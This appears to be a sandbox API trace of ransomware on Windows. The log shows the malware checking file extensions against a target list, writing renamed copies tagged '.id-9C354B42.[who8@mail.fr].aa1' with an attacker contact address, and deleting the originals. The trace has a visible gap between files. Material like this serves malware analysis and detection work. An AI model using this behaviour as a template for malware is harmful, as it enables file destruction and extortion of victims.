GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5115) returned 1 [0217.560] CloseHandle (hObject=0x204) returned 1 [0217.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0217.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0217.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0217.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0217.561] lstrlenW (lpString=".doc") returned 4 [0217.561] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0217.561] lstrlenW (lpString=".docx") returned 5 [0217.561] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0217.561] lstrlenW (lpString=".pdf") returned 4 [0217.561] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0217.561] lstrlenW (lpString=".xls") returned 4 [0217.561] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0217.561] lstrlenW (lpString=".xlsx") returned 5 [0217.561] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0217.561] lstrlenW (lpString=".ppt") returned 4 [0217.561] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0217.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0217.561] lstrlenW (lpString=".zip") returned 4 [0217.561] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0217.561] lstrlenW (lpString=".rar") returned 4 [0217.561] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0217.561] lstrlenW (lpString=".bz2") returned 4 [0217.561] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0217.561] lstrlenW (lpString=".7z") returned 3 [0217.562] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0217.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0217.562] lstrlenW (lpString=".dbf") returned 4 [0217.562] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0217.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0217.562] lstrlenW (lpString=".1cd") returned 4 [0217.562] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0217.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0217.562] lstrlenW (lpString=".jpg") returned 4 [0217.562] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0217.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0217.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0217.562] lstrlenW (lpString=".doc") returned 4 [0217.562] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0217.562] lstrlenW (lpString=".docx") returned 5 [0217.562] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0217.562] lstrlenW (lpString=".pdf") returned 4 [0217.562] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0217.562] lstrlenW (lpString=".xls") returned 4 [0217.562] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0217.562] lstrlenW (lpString=".xlsx") returned 5 [0217.562] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0217.562] lstrlenW (lpString=".ppt") returned 4 [0217.562] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0217.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0217.562] lstrlenW (lpString=".zip") returned 4 [0217.562] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0217.562] lstrlenW (lpString=".rar") returned 4 [0217.563] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0217.563] lstrlenW (lpString=".bz2") returned 4 [0217.563] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0217.563] lstrlenW (lpString=".7z") returned 3 [0217.563] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0217.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0217.563] lstrlenW (lpString=".dbf") returned 4 [0217.563] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0217.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0217.563] lstrlenW (lpString=".1cd") returned 4 [0217.563] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0217.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0217.563] lstrlenW (lpString=".jpg") returned 4 [0217.563] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0217.563] lstrcmpiW (lpString1=".jpg", lpString2=".aa1") returned 1 [0217.563] lstrlenW (lpString="Pine_Lumber.jpg") returned 15 [0217.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.564] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3981) returned 1 [0217.564] CloseHandle (hObject=0x204) returned 1 [0217.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg")) returned 0x20 [0217.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0217.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0217.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0217.564] lstrlenW (lpString=".doc") returned 4 [0217.564] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0217.564] lstrlenW (lpString=".docx") returned 5 [0217.564] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0217.564] lstrlenW (lpString=".pdf") returned 4 [0217.564] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0217.564] lstrlenW (lpString=".xls") returned 4 [0217.564] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0217.564] lstrlenW (lpString=".xlsx") returned 5 [0217.564] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0217.565] lstrlenW (lpString=".ppt") returned 4 [0217.565] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0217.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0217.565] lstrlenW (lpString=".zip") returned 4 [0217.565] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0217.565] lstrlenW (lpString=".rar") returned 4 [0217.565] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0217.565] lstrlenW (lpString=".bz2") returned 4 [0217.565] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0217.565] lstrlenW (lpString=".7z") returned 3 [0217.565] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0217.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0217.565] lstrlenW (lpString=".dbf") returned 4 [0217.565] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0217.576] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.576] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0217.578] GetLastError () returned 0x0 [0217.578] ReadFile (in: hFile=0x204, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x621, lpOverlapped=0x0) returned 1 [0218.465] WriteFile (in: hFile=0x170, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x630, lpOverlapped=0x0) returned 1 [0218.467] ReadFile (in: hFile=0x204, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.467] WriteFile (in: hFile=0x170, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0218.467] SetEndOfFile (hFile=0x170) returned 1 [0218.467] CloseHandle (hObject=0x170) returned 1 [0218.467] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.467] SetEndOfFile (hFile=0x204) returned 1 [0218.468] CloseHandle (hObject=0x204) returned 1 [0218.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0218.469] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0218.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0218.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0218.469] lstrlenW (lpString=".doc") returned 4 [0218.469] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0218.469] lstrlenW (lpString=".docx") returned 5 [0218.470] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0218.470] lstrlenW (lpString=".pdf") returned 4 [0218.470] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0218.470] lstrlenW (lpString=".xls") returned 4 [0218.470] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0218.470] lstrlenW (lpString=".xlsx") returned 5 [0218.470] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0218.470] lstrlenW (lpString=".ppt") returned 4 [0218.470] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0218.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0218.470] lstrlenW (lpString=".zip") returned 4 [0218.470] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0218.470] lstrlenW (lpString=".rar") returned 4 [0218.470] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0218.470] lstrlenW (lpString=".bz2") returned 4 [0218.470] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0218.470] lstrlenW (lpString=".7z") returned 3 [0218.470] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0218.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0218.470] lstrlenW (lpString=".dbf") returned 4 [0218.470] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0218.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0218.470] lstrlenW (lpString=".1cd") returned 4 [0218.470] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0218.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0218.470] lstrlenW (lpString=".jpg") returned 4 [0218.470] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0218.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0218.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0218.470] lstrlenW (lpString=".doc") returned 4 [0218.470] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0218.471] lstrlenW (lpString=".docx") returned 5 [0218.471] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0218.471] lstrlenW (lpString=".pdf") returned 4 [0218.471] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0218.471] lstrlenW (lpString=".xls") returned 4 [0218.471] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0218.471] lstrlenW (lpString=".xlsx") returned 5 [0218.471] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0218.471] lstrlenW (lpString=".ppt") returned 4 [0218.471] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0218.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0218.471] lstrlenW (lpString=".zip") returned 4 [0218.471] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0218.471] lstrlenW (lpString=".rar") returned 4 [0218.471] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0218.471] lstrlenW (lpString=".bz2") returned 4 [0218.471] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0218.471] lstrlenW (lpString=".7z") returned 3 [0218.471] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0218.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0218.471] lstrlenW (lpString=".dbf") returned 4 [0218.471] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0218.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0218.471] lstrlenW (lpString=".1cd") returned 4 [0218.471] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0218.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0218.471] lstrlenW (lpString=".jpg") returned 4 [0218.471] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0218.472] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0218.472] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0218.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0218.473] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=25234) returned 1 [0218.473] CloseHandle (hObject=0x204) returned 1 [0218.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0218.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0218.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0218.473] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.473] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0218.473] GetLastError () returned 0x0 [0218.473] ReadFile (in: hFile=0x204, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x6292, lpOverlapped=0x0) returned 1 [0218.833] WriteFile (in: hFile=0x170, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x62a0, lpOverlapped=0x0) returned 1 [0218.835] ReadFile (in: hFile=0x204, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.835] WriteFile (in: hFile=0x170, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.835] SetEndOfFile (hFile=0x170) returned 1 [0218.835] CloseHandle (hObject=0x170) returned 1 [0218.835] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.836] SetEndOfFile (hFile=0x204) returned 1 [0218.837] CloseHandle (hObject=0x204) returned 1 [0218.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0218.837] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0218.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0218.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0218.837] lstrlenW (lpString=".doc") returned 4 [0218.837] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0218.837] lstrlenW (lpString=".docx") returned 5 [0218.837] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0218.837] lstrlenW (lpString=".pdf") returned 4 [0218.837] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0218.837] lstrlenW (lpString=".xls") returned 4 [0218.837] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0218.837] lstrlenW (lpString=".xlsx") returned 5 [0218.837] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0218.837] lstrlenW (lpString=".ppt") returned 4 [0218.838] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0218.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0218.838] lstrlenW (lpString=".zip") returned 4 [0218.838] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0218.838] lstrlenW (lpString=".rar") returned 4 [0218.838] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0218.838] lstrlenW (lpString=".bz2") returned 4 [0218.838] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0218.838] lstrlenW (lpString=".7z") returned 3 [0218.839] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0218.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0218.839] lstrlenW (lpString=".dbf") returned 4 [0218.839] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0218.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0218.839] lstrlenW (lpString=".1cd") returned 4 [0218.839] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0218.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0218.839] lstrlenW (lpString=".jpg") returned 4 [0218.839] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0218.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0218.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0218.839] lstrlenW (lpString=".doc") returned 4 [0218.839] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0218.839] lstrlenW (lpString=".docx") returned 5 [0218.839] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0218.839] lstrlenW (lpString=".pdf") returned 4 [0218.839] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0218.839] lstrlenW (lpString=".xls") returned 4 [0218.839] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0218.839] lstrlenW (lpString=".xlsx") returned 5 [0218.839] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0218.840] lstrlenW (lpString=".ppt") returned 4 [0218.840] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0218.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0218.840] lstrlenW (lpString=".zip") returned 4 [0218.840] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0218.840] lstrlenW (lpString=".rar") returned 4 [0218.840] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0218.840] lstrlenW (lpString=".bz2") returned 4 [0218.840] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0218.840] lstrlenW (lpString=".7z") returned 3 [0218.840] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0218.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0218.840] lstrlenW (lpString=".dbf") returned 4 [0218.840] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0218.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0218.840] lstrlenW (lpString=".1cd") returned 4 [0218.840] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0218.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0218.840] lstrlenW (lpString=".jpg") returned 4 [0218.840] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0218.840] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0218.840] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0218.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0218.842] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1560) returned 1 [0218.842] CloseHandle (hObject=0x204) returned 1 [0218.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0218.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0218.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0218.843] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 